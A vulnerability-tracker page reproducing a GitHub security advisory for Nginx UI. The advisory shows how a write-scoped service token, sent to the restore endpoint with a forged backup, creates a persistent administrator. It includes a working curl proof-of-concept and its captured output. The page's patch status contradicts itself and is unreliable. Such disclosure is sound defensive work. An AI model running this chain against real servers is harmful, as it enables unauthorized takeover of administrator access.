llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · github.com/0xJacky/Nginx-UI

GHSA-2WHH-H3RF-HW59

Nginx UI's restore endpoint accepts write-scoped service tokens and its interactive-admin denylist misses it, converting a service token into a persistent interactive administrator via a crafted portable backup

Sin parche publicado
Descargar PNG JSON
CVSS 3.1
8.8
Alta
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición28 dDesde la divulgación, 22 oct 2026, 1:59 a. m.
Detección27 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
22 oct 26
18 nov 26
19 nov 26
22 oct 26
29 oct 26
5 nov 26
12 nov 26
19 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-2WHH-H3RF-HW59 divulgada · CVSS 8.8 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

All evidence, reproduction steps, and scripts in the report were verified against a real running instance. Nothing is fabricated or synthetic; every verdict is backed by captured output from an actual deployment.

Nginx UI's own remediation for GHSA-rg7q (commit `cb27607c`) declares the invariant that service tokens (`nui_pat_…` API tokens with `api:read`/`api:write` scopes) must never gain "persistent interactive access": the fix gates interactive user management behind an interactive-session check and denylists the affected routes (`serviceTokenInteractivePaths`/`Routes` in `internal/middleware/middleware.go:132-138`). The denylist omits `POST /api/restore` — and that endpoint's `RequireSecureSession` step-up has a service-token branch that passes on write scope (`internal/middleware/secure_session.go:79-89`). Verified end-to-end on the official `uozi/nginx-ui:v2.8.4` image (latest tag; involved files identical on main): a write-scoped PAT is refused by the same token from interactive user management (`403` on `POST /api/users`) yet is accepted by `POST /api/restore` with a crafted portable backup whose SQLite `database.db` carries an extra enabled admin account with a bcrypt hash the attacker knows — the live database is replaced, the service restarts, and the attacker signs in as the injected interactive administrator, then mints further service tokens (`201` on `POST /api/service_tokens`). A read-scoped PAT is correctly rejected (`403`), and the restored-but-skipped protected settings prove an untrusted portable restore ran to completion anyway. The 59-entry advisory history contains the restore-RCE family (fixed via the secure-session gate) and GHSA-rg7q (fixed via the interactive denylist), but no entry describes service-token access to restore — the incomplete-fix/parallel-endpoint pattern the project itself has published before.

Details

The gate, its bypass branch, and the missing denylist entry (v2.8.4 = main for all cited files):

api/backup/router.go:16                        POST /api/restore = AuthRequired + RequireSecureSession + RejectInDemo
internal/middleware/secure_session.go:79-89    service-token branch: write scope satisfies the step-up
internal/middleware/middleware.go:132-138      serviceTokenRequiresInteractiveUser denylist
                                               - covers user/node/credential management routes
                                               - /api/restore is absent
internal/backup/portable.go:23-27              portable scrub does not remove users rows
internal/backup/restore.go:357                 preserveProtected only skips tagged settings fields

The chain needs one credential class the maintainer's own advisory remediations assume compromised-adjacent (GHSA-rg7q and GHSA-pw4f both treat write-scope PATs as the asset to protect): the attacker first self-serves the backup material with the same token — `GET /api/backup` is a deliberate denylist entry for write PATs and returns the full archive with the AES key/IV in the `X-Backup-Security` response header — then crafts the portable backup (AES key/IV now known ⇒ portable HMAC forgeable, `manifest.go:184-191`) and injects an `users` row into the archive's `database.db` (the portable scrub removes metadata but not `users` rows, `portable.go:23-27`). `POST /api/restore` authenticates the service token, passes the step-up through its service-token branch, replaces the live database (only tagged settings fields are preserved, `restore.go:357`), and restarts the service. The maintainers' invariant is explicit: control probes show the same PAT blocked from `POST /api/users` with `Authorization failed`, and the interactive denylist exists precisely to keep automation credentials out of persistent-interactive surfaces — restore is an interactive, destructive operation per PRODUCT.md and is enumerated nowhere in the automation capability lists the code deliberately maintains (`serviceTokenWriteGETPaths`). The repository's advisories list contains the restore-RCE and scope families but no service-token/restore entry.

Proof of concept

The instance is the official `uozi/nginx-ui:v2.8.4` image (image ID b0e07a4ddeba). The attacker holds a write-scoped PAT (`nui_pat_…`, `api:write`) and has crafted a portable backup `poc_evil_backup.zip` (AES key attacker-chosen so the portable HMAC is forgeable; `database.db` inside contains an extra enabled admin `poc-admin2` with a bcrypt hash the attacker knows). The backup is uploaded through the restore endpoint with the PAT as bearer:

#!/usr/bin/env bash
BASE=http://127.0.0.1:21043
PAT=<write-scoped nui_pat_ token>

# CONTROL 1: the same PAT is blocked from interactive user management
curl -s -X POST $BASE/api/users -H "Authorization: Bearer $PAT" \
  -H 'Content-Type: application/json' -d '{"name":"x","password":"x"}'

# ATTACK: restore with the crafted portable backup (multipart, as the endpoint expects)
curl -s -X POST $BASE/api/restore -H "Authorization: Bearer $PAT" \
  -F "backup_file=@poc_evil_backup.zip" -F "security_token=<b64(aes_key)>:<b64(iv)>" -F "restore_nginx=false" -F "restore_nginx_ui=true"

# wait for graceful restart, then log in as the injected admin
curl -s -X POST $BASE/api/login -H 'Content-Type: application/json' \
  -d '{"name":"poc-admin2","password":"<attacker-chosen hash plaintext>"}'

# post-condition: the injected admin reads users and mints a new service token
curl -s $BASE/api/users -H "Authorization: Bearer <poc-admin2 JWT>"
curl -s -X POST $BASE/api/service_tokens -H "Authorization: Bearer <poc-admin2 JWT>" \
  -H 'Content-Type: application/json' -d '{"name":"poc-token"}'

Captured output from the running v2.8.4 instance (verbatim from the retained run log):

=== CONTROL 1: write-scoped PAT against interactive user management ===
CONTROL1 POST /api/users with PAT -> HTTP 403 {'message': 'Authorization failed'}
CONTROL1_VERDICT: BLOCKED_AS_EXPECTED
=== ATTACK: POST /api/restore with write-scoped PAT ===
ATTACK POST /api/restore -> HTTP 200 {'nginx_ui_restored': True, 'nginx_restored': False, 'hash_match': True, 'trust_level': 'portable', 'skipped_protected_settings': ['app.JwtSecret', 'auth.IPWhiteList', ..., 'terminal.StartCmd']}
=== POST-CONDITION: login as injected poc-admin2 ===
LOGIN poc-admin2 -> HTTP 200 keys=['message', 'code', 'token']
GET /api/users as poc-admin2 -> HTTP 200
USERS_VISIBLE: ['poc-admin2', 'demo-admin']
POST /api/service_tokens as poc-admin2 -> HTTP 201
FINAL_VERDICT: FOUND write-scoped service token converted into persistent interactive admin via /api/restore

Negative controls (retained run logs): a read-scope PAT is rejected from restore with `403` (`CONTROL8 POST /api/restore with READ PAT -> HTTP 403`), the PAT cannot mint short tokens (403), and `skipped_protected_settings` in the response proves the untrusted portable restore ran to completion (tagged settings were skipped, everything else replaced). Output interpretation: the same credential is denied on the interactive-admin surface and accepted on restore, the restore replaces the live user database, and the injected admin authenticates and mints further tokens - the conversion the denylist was built to prevent. The response body, tokens, and account names are instance-specific; write-PAT restore with post-restart interactive login is the stable verdict.

Impact

This is improper privilege management converting an automation credential into a persistent interactive administrator (CWE-269): any holder of a write-scope PAT - the credential class that integrations, CI systems, and MCP clients hold, and whose compromise GHSA-rg7q/GHSA-pw4f remediations treat as the design assumption - becomes the instance's interactive administrator, with complete control over NGINX configurations, certificates, the PTY terminal, and every tenant of the panel. The takeover survives restarts (the injected admin lives in the restored database) and steps past any 2FA/secure-session step-up on the account. A fix is to add `/api/restore` to `serviceTokenRequiresInteractiveUser` (or refuse service tokens entirely on restore) and to scrub `users`-class tables from portable backups at restore time. The same denylist should be regenerated from the route table so future interactive routes cannot be missed the way `/api/restore` was.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
github.com/0xJacky/Nginx-UI< 2.9.0
v1.9.9
2.9.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gogithub.com/0xJacky/Nginx-UI
Sin parche — — v1.9.9 afectada
Versiones corregidas2.9.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/0xJacky/nginx-ui/security/advisories/GHSA-2whh-h3rf-hw59

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.